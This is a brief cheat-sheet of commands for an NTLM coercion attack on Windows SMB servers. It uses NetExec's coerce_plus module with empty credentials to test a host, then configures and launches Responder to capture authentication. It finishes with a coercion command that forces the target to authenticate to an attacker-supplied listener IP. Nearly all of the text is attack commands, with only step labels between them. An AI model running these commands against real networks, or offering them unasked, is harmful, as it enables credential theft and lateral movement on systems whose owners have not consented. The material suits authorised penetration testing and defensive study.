Check if the server is vulnerable :
nxc smb <ip> -u '' -p '' -M coerce_plus
Modify responder config to avoid targeting the entire network :
sudo nano /etc/responder/Responder.conf
[Responder Core]
# Only respond to this specific target IP
RespondTo = <target1>, <target2>
Launch responder :
sudo responder -I <your_network_interface> -v
Execute coercion attack :
nxc smb <ip> -u '' -p '' -M coerce_plus -o LISTENER=<AttackerIP>
